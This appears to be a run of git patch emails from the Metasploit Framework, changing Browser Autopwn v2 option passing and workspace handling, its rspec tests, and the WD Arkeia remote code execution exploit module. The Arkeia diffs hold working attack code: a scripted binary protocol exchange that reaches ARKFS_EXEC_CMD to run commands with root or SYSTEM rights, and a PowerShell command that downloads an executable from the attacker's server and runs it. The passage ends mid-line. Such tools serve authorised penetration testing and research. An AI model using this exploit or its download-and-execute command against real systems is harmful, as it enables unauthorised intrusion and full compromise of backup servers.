-0500 Subject: [PATCH 0705/1013] Pass more options --- lib/msf/core/exploit/browser_autopwnv2.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 9806cda682..4b90d7fbf9 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -325,6 +325,15 @@ module Msf multi_handler.datastore['InitialAutoRunScript'] = datastore['InitialAutoRunScript'] if datastore['InitialAutoRunScript'] multi_handler.datastore['AutoRunScript'] = datastore['AutoRunScript'] if datastore['AutoRunScript'] multi_handler.datastore['CAMPAIGN_ID'] = datastore['CAMPAIGN_ID'] if datastore['CAMPAIGN_ID'] + multi_handler.datastore['HandlerSSLCert'] = datastore['HandlerSSLCert'] if datastore['HandlerSSLCert'] + multi_handler.datastore['StagerVerifySSLCert'] = datastore['StagerVerifySSLCert'] if datastore['StagerVerifySSLCert'] + multi_handler.datastore['PayloadUUIDTracking'] = datastore['PayloadUUIDTracking'] if datastore['PayloadUUIDTracking'] + multi_handler.datastore['PayloadUUIDName'] = datastore['PayloadUUIDName'] if datastore['PayloadUUIDName'] + multi_handler.datastore['IgnoreUnknownPayloads'] = datastore['IgnoreUnknownPayloads'] if datastore['IgnoreUnknownPayloads'] + multi_handler.datastore['SessionRetryTotal'] = datastore['SessionRetryTotal'] if datastore['SessionRetryTotal'] + multi_handler.datastore['SessionRetryWait'] = datastore['SessionRetryWait'] if datastore['SessionRetryWait'] + multi_handler.datastore['SessionExpirationTimeout'] = datastore['SessionExpirationTimeout'] if datastore['SessionExpirationTimeout'] + multi_handler.datastore['SessionCommunicationTimeout'] = datastore['SessionCommunicationTimeout'] if datastore['SessionCommunicationTimeout'] # TODO: Pass WORKSPACE and other options down to the sub module From c9d2ab58d35e4194acdd8a53340af52d99816b4b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 12:48:21 -0500 Subject: [PATCH 0706/1013] Use HttpServer::HTML * And make the exploit Aggressive --- .../exploits/multi/misc/arkeia_agent_exec.rb | 360 +++++++++--------- 1 file changed, 175 insertions(+), 185 deletions(-) diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 3dd14e8126..305517653c 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -9,11 +9,10 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::FileDropper - def initialize(info = {}) super(update_info(info, 'Name' => 'WD Arkeia Remote Code Execution', @@ -35,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ], 'Privileged' => true, + 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { 'DisableNops' => true @@ -312,251 +312,241 @@ class Metasploit3 < Msf::Exploit::Remote @down_file = rand_text_alpha(8+rand(8)) @pl = generate_payload_exe - srv_host = Rex::Socket.source_address(rhost) - - service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + '/' + @down_file - print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => '/' + @down_file - }}) - - # PowerShell web download. The char replacement is needed because using the "/" character twice (like http://) directly is not possible on Windows agents. - command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"http:$($s)$($s)#{srv_host}:#{datastore['SRVPORT']}$($s)#{@down_file}\\\";" - command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');" - command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\"" - - communicate(command) - + begin + Timeout.timeout(datastore['HTTP_DELAY']) {super} + rescue Timeout::Error + end elsif target.name =~ /Linux/ communicate(payload.encoded) return end end + def primer + @payload_url = get_uri + + # PowerShell web download. The char replacement is needed because using the "/" character twice (like http://) directly is not possible on Windows agents. + command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";" + command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');" + command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\"" + + communicate(command) + end def communicate(command) - print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon") + print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon") - connect + connect - print_status("#{rhost}:#{rport} - Sending agent communication") + print_status("#{rhost}:#{rport} - Sending agent communication") - req = "\x00\x41\x00\x00\x00\x00\x00\x70" - req << "\x00" * 12 - req << "\xc0\xa8\x02\x8a" - req << "\x00" * 56 - req << "\x8a\x02\xa8\xc0" - req << 'ARKFS' - req << "\x00" - req << 'root' - req << "\x00" - req << 'root' - req << "\x00" * 3 - req << '4.3.0-1' # Client version ? - req << "\x00" * 11 + req = "\x00\x41\x00\x00\x00\x00\x00\x70" + req << "\x00" * 12 + req << "\xc0\xa8\x02\x8a" + req << "\x00" * 56 + req << "\x8a\x02\xa8\xc0" + req << 'ARKFS' + req << "\x00" + req << 'root' + req << "\x00" + req << 'root' + req << "\x00" * 3 + req << '4.3.0-1' # Client version ? + req << "\x00" * 11 - sock.put(req) + sock.put(req) - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x60\x00\x04" - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") - end + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x60\x00\x04" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") + end - data_length = sock.get_once(4) + data_length = sock.get_once(4) - unless data_length && data_length.length == 4 - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") - end + unless data_length && data_length.length == 4 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") + end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length[2..3].unpack('n')[0] - data = sock.get_once(data_length) - unless data && data.length == data_length - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") - end + data = sock.get_once(data_length) + unless data && data.length == data_length + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") + end - req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32" - req << "\x00" * 11 + req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32" + req << "\x00" * 11 - sock.put(req) - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x60\x00\x04" - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") - end + sock.put(req) + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x60\x00\x04" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") + end - data_length = sock.get_once(4) + data_length = sock.get_once(4) - unless data_length && data_length.length == 4 - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") - end + unless data_length && data_length.length == 4 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") + end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length[2..3].unpack('n')[0] - data = sock.get_once(data_length) - unless data && data.length == data_length - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") - end + data = sock.get_once(data_length) + unless data && data.length == data_length + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") + end - req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00" - req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID? - req << "\x00" - req << 'EN' # English language? - req << "\x00" * 11 + req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00" + req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID? + req << "\x00" + req << 'EN' # English language? + req << "\x00" * 11 - sock.put(req) - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x43\x00\x00" - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") - end + sock.put(req) + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x43\x00\x00" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") + end - data_length = sock.get_once(4) + data_length = sock.get_once(4) - unless data_length && data_length.length == 4 - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") - end + unless data_length && data_length.length == 4 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") + end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length[2..3].unpack('n')[0] - unless data_length == 0 - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read") - end + unless data_length == 0 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read") + end - req = "\x00\x62\x00\x01\x00\x02\x00\x1b" - req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges - req << "\x00\x31" - req << "\x00" * 11 + req = "\x00\x62\x00\x01\x00\x02\x00\x1b" + req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges + req << "\x00\x31" + req << "\x00" * 11 - sock.put(req) + sock.put(req) - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x43\x00\x00" - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") - end + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x43\x00\x00" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") + end - data_length = sock.get_once(4) + data_length = sock.get_once(4) - unless data_length && data_length.length == 4 - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") - end + unless data_length && data_length.length == 4 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") + end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length[2..3].unpack('n')[0] - unless data_length == 0 - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read") - end + unless data_length == 0 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read") + end - req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c" - req << "\x00" * 11 + req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c" + req << "\x00" * 11 - sock.put(req) + sock.put(req) - command_length = '%02x' % command.length - command_length = command_length.scan(/../).map { |x| x.hex.chr }.join + command_length = '%02x' % command.length + command_length = command_length.scan(/../).map { |x| x.hex.chr }.join - req = "\x00\x64\x00\x04\x00\x04\x00" - req << command_length # Maximum length can be 255 bytes (0xFF) - req << command # Our command to be executed - req << "\x00" + req = "\x00\x64\x00\x04\x00\x04\x00" + req << command_length # Maximum length can be 255 bytes (0xFF) + req << command # Our command to be executed + req << "\x00" - print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD") + print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD") - sock.put(req) + sock.put(req) - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x63\x00\x04" - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") - end + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x63\x00\x04" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") + end - data_length = sock.get_once(4) + data_length = sock.get_once(4) - unless data_length && data_length.length == 4 - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") - end + unless data_length && data_length.length == 4 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") + end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length[2..3].unpack('n')[0] - data = sock.get_once(data_length) - unless data && data.length == data_length - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") - end + data = sock.get_once(data_length) + unless data && data.length == data_length + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") + end - # 1st Packet + # 1st Packet - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x68\x00\x04" - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") - end + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x68\x00\x04" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") + end - data_length = sock.get_once(4) + data_length = sock.get_once(4) - unless data_length && data_length.length == 4 - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") - end + unless data_length && data_length.length == 4 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") + end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length[2..3].unpack('n')[0] - data = sock.get_once(data_length) - unless data && data.length == data_length - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") - end + data = sock.get_once(data_length) + unless data && data.length == data_length + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") + end - # 2st Packet + # 2st Packet - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x68\x00\x04" - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") - end + id = sock.get_once(4) + unless id && id.length == 4 && id == "\x00\x68\x00\x04" + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") + end - data_length = sock.get_once(4) + data_length = sock.get_once(4) - unless data_length && data_length.length == 4 - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") - end + unless data_length && data_length.length == 4 + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") + end - data_length = data_length[2..3].unpack('n')[0] - - data = sock.get_once(data_length) - unless data && data.length == data_length - disconnect - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") - end - - # Wait for our payload to be sent, else HTTP server might shutdown too quick - select(nil, nil, nil, datastore['HTTP_DELAY']) + data_length = data_length[2..3].unpack('n')[0] + data = sock.get_once(data_length) + unless data && data.length == data_length + disconnect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") + end end def on_request_uri(cli, request) - unless @pl - print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") - return + print_status("Request: #{request.uri}") + if request.uri == get_resource + print_status('Sending payload...') + send_response(cli, @pl) + register_files_for_cleanup("c:\\#{@down_file}.exe") end - print_status("#{rhost}:#{rport} - Sending the payload to the server...") - register_files_for_cleanup("c:\\#{@down_file}.exe") - send_response(cli, @pl) end - end From bed3257a3fcb05497bc30b0541d09d0d44b6c9af Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 12:50:26 -0500 Subject: [PATCH 0707/1013] Change default HTTP_DELAY --- modules/exploits/multi/misc/arkeia_agent_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 305517653c..f372cd3faf 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(617), - OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]) + OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]) ], self.class) end From 89aa00cfc482f6326f5ff4c3e24a910a664c357e Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 10 Jul 2015 13:09:42 -0500 Subject: [PATCH 0708/1013] Check job workspace --- lib/msf/core/exploit/browser_autopwnv2.rb | 22 ++++++++++------------ 1 file changed, 10 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 4b90d7fbf9..92a5689538 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -140,11 +140,10 @@ module Msf xploit.datastore['DisablePayloadHandler'] = true xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix xploit.datastore['URIPATH'] = "/#{assign_module_resource}" + xploit.datastore['WORKSPACE'] = self.workspace - # TODO: Pass additional parameters - # TODO: Pass WORKSPACE and other options down to the sub module - # TODO: Add BAPv2 tracking information (?) - # TODO: Change exploit output options? + # TODO: Add BAPv2 tracking information (?) - HD + # TODO: Change exploit output options? - HD end @@ -153,7 +152,7 @@ module Msf # @param resource [String] The resource to check. # @return [TrueClass] Resource is taken. # @return [FalseClass] Resource is not taken. - # TODO: Prevent partial prefix match + # TODO: Prevent partial prefix match - HD def is_resource_taken?(resource) taken = false @@ -207,7 +206,7 @@ module Msf # @return [Hash] A hash with each module list sorted by disclosure date. def sort_date_in_group(bap_groups) bap_groups.each_pair do |ranking, module_list| - # TODO: Handle wonky dates in local modules better + # TODO: Handle wonky dates in local modules better - HD bap_groups[ranking] = module_list.sort_by {|m| Date.parse(m.disclosure_date.to_s)}.reverse end end @@ -335,14 +334,11 @@ module Msf multi_handler.datastore['SessionExpirationTimeout'] = datastore['SessionExpirationTimeout'] if datastore['SessionExpirationTimeout'] multi_handler.datastore['SessionCommunicationTimeout'] = datastore['SessionCommunicationTimeout'] if datastore['SessionCommunicationTimeout'] - - # TODO: Pass WORKSPACE and other options down to the sub module - # Configurable only by BAP multi_handler.datastore['ExitOnSession'] = false multi_handler.datastore['EXITFUNC'] = 'thread' + multi_handler.datastore['WORKSPACE'] = self.workspace - # TODO: BAPv2 specific options / tracking would go here # Now we're ready to start the handler multi_handler.exploit_simple( @@ -697,11 +693,13 @@ module Msf # # @return [Fixnum] A session count. def session_count - # TODO: Restrict these to the active workspace total = 0 payload_job_ids.each do |id| - total += framework.jobs[id.to_s].ctx.first.session_count + job_workspace = framework.jobs[id.to_s].ctx.first.datastore['WORKSPACE'] + if job_workspace == self.workspace + total += framework.jobs[id.to_s].ctx.first.session_count + end end total From c8c3e1a2585f9d842ddccc30475460a38489a463 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 10 Jul 2015 13:42:25 -0500 Subject: [PATCH 0709/1013] Fix rspec --- .../core/exploit/browser_autopwnv2_spec.rb | 30 ++++++++----------- 1 file changed, 13 insertions(+), 17 deletions(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index 2e811b8696..eadd5f8394 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -18,7 +18,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do # This empties it notes = [] - db = double('db') + db = double('db1') allow(db).to receive(:notes).and_return(notes) allow(framework).to receive(:db).and_return(db) @@ -28,14 +28,14 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do def mock_report_note(arg) framework = double('Msf::Framework', datastore: {}) notes = [create_fake_note('bap.clicks')] - db = double('db') + db = double('db2') allow(db).to receive(:notes).and_return(notes) allow(framework).to receive(:db).and_return(db) allow(subject).to receive(:framework).and_return(framework) end def create_fake_note(tag, data='') - note = double('note') + note = double('note3') allow(note).to receive(:ntype).and_return(tag) allow(note).to receive(:data).and_return(data) @@ -65,6 +65,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do datastore_options = opts[:datastore_options] || {} job_id = opts[:job_id] || 0 requirements = opts[:requirements] || {} + workspace = opts[:workspace] || 'default' mod = Msf::Exploit.new mod.extend(Msf::Exploit::Remote::BrowserExploitServer) @@ -75,6 +76,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(mod).to receive(:compatible_payloads).and_return(compat_payloads) allow(mod).to receive(:datastore).and_return(datastore_options) allow(mod).to receive(:job_id).and_return(job_id) + allow(mod).to receive(:workspace).and_return(workspace) allow(mod).to receive(:exploit_simple) allow(mod).to receive(:vprint_status) allow(mod).to receive(:shortname).and_return(short_name) @@ -139,6 +141,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do datastores = opts[:datastore_options] fullname = opts[:fullname] shortname = opts[:shortname] + workspace = opts[:workspace] || 'default' p = Msf::Payload.new @@ -154,8 +157,11 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do p.datastore[key] = value end + datastores['WORKSPACE'] = workspace + allow(p).to receive(:fullname).and_return(fullname) allow(p).to receive(:shoftname).and_return(shortname) + allow(p).to receive(:workspace).and_return(workspace) p end @@ -329,10 +335,14 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do notes = [create_fake_note("#{note_type_prefix}.#{profile_tag}", profile_packed_data)] # Prepare framework.db + w = double('workspace') + allow(w).to receive(:name).and_return('WORKSPACE') + db = double('db') allow(db).to receive(:report_note).with(kind_of(Hash)) { |arg| mock_report_note(arg) } allow(db).to receive(:notes).and_return(notes) allow(db).to receive(:active).and_return(true) + allow(db).to receive(:workspace).and_return(w) allow(framework).to receive(:db).and_return(db) # Prepare framework.exploits @@ -710,20 +720,6 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do # You got me, I don't know how to implement this one because the super" end - describe '#show_payloads' do - it 'shows payloads' do - output = get_stdout { subject.show_payloads } - expect(output).to include(windows_meterpreter_reverse_tcp) - expect(output).to include(linux_meterpreter_reverse_tcp) - end - end - - describe '#set_payload' do - it 'shows set_payload' do - output = get_stdout { subject.set_payload } - expect(output).to include('\'set payload\' has been disabled for BrowserAutoPwn') - end - end end describe '#log_click' do From 29a497a616bf51640354d8092b4ea27252f8e80f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 14:25:57 -0500 Subject: [PATCH 0710/1013] Read header as 6 bytes --- .../exploits/multi/misc/arkeia_agent_exec.rb | 151 +++++++++--------- 1 file changed, 76 insertions(+), 75 deletions(-) diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index f372cd3faf..53119619af 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -93,20 +93,20 @@ class Metasploit3 < Msf::Exploit::Remote sock.put(req) - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x60\x00\x04" + header = sock.get_once(6) + unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04" disconnect return Exploit::CheckCode::Unknown end - data_length = sock.get_once(4) + data_length = sock.get_once(2) - unless data_length && data_length.length == 4 + unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length @@ -120,20 +120,20 @@ class Metasploit3 < Msf::Exploit::Remote req << "\x00" * 11 sock.put(req) - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x60\x00\x04" + header = sock.get_once(6) + unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04" disconnect return Exploit::CheckCode::Unknown end - data_length = sock.get_once(4) + data_length = sock.get_once(2) - unless data_length && data_length.length == 4 + unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length @@ -146,20 +146,21 @@ class Metasploit3 < Msf::Exploit::Remote req << "\x00" * 11 sock.put(req) - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x43\x00\x00" + header = sock.get_once(6) + + unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00" disconnect return Exploit::CheckCode::Unknown end - data_length = sock.get_once(4) + data_length = sock.get_once(2) - unless data_length && data_length.length == 4 + unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length.unpack('n')[0] unless data_length == 0 disconnect @@ -176,20 +177,20 @@ class Metasploit3 < Msf::Exploit::Remote sock.put(req) - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x43\x00\x00" + header = sock.get_once(6) + unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00" disconnect return Exploit::CheckCode::Unknown end - data_length = sock.get_once(4) + data_length = sock.get_once(2) - unless data_length && data_length.length == 4 + unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length.unpack('n')[0] unless data_length == 0 disconnect return Exploit::CheckCode::Unknown @@ -202,20 +203,20 @@ class Metasploit3 < Msf::Exploit::Remote # 1st packet - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x63\x00\x04" + header = sock.get_once(6) + unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04" disconnect return Exploit::CheckCode::Unknown end - data_length = sock.get_once(4) + data_length = sock.get_once(2) - unless data_length && data_length.length == 4 + unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length @@ -225,20 +226,20 @@ class Metasploit3 < Msf::Exploit::Remote # 2nd packet - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x68\x00\x04" + header = sock.get_once(6) + unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04" disconnect return Exploit::CheckCode::Unknown end - data_length = sock.get_once(4) + data_length = sock.get_once(2) - unless data_length && data_length.length == 4 + unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length @@ -248,20 +249,20 @@ class Metasploit3 < Msf::Exploit::Remote # 3rd packet - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x65\x00\x04" + header = sock.get_once(6) + unless header && header.length == 6 && header[0, 4] == "\x00\x65\x00\x04" disconnect return Exploit::CheckCode::Unknown end - data_length = sock.get_once(4) + data_length = sock.get_once(2) - unless data_length && data_length.length == 4 + unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length && data.include?('You have successfully retrieved client information') @@ -271,20 +272,20 @@ class Metasploit3 < Msf::Exploit::Remote # 4th packet - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x69\x00\x04" + header = sock.get_once(6) + unless header && header.length == 6 && header[0, 4] == "\x00\x69\x00\x04" disconnect return Exploit::CheckCode::Unknown end - data_length = sock.get_once(4) + data_length = sock.get_once(2) - unless data_length && data_length.length == 4 + unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length @@ -356,20 +357,20 @@ class Metasploit3 < Msf::Exploit::Remote sock.put(req) - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x60\x00\x04" + header = sock.get_once(6) + unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04" disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end - data_length = sock.get_once(4) + data_length = sock.get_once(2) - unless data_length && data_length.length == 4 + unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length @@ -381,20 +382,20 @@ class Metasploit3 < Msf::Exploit::Remote req << "\x00" * 11 sock.put(req) - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x60\x00\x04" + header = sock.get_once(6) + unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04" disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end - data_length = sock.get_once(4) + data_length = sock.get_once(2) - unless data_length && data_length.length == 4 + unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length @@ -409,20 +410,20 @@ class Metasploit3 < Msf::Exploit::Remote req << "\x00" * 11 sock.put(req) - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x43\x00\x00" + header = sock.get_once(6) + unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00" disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end - data_length = sock.get_once(4) + data_length = sock.get_once(2) - unless data_length && data_length.length == 4 + unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure 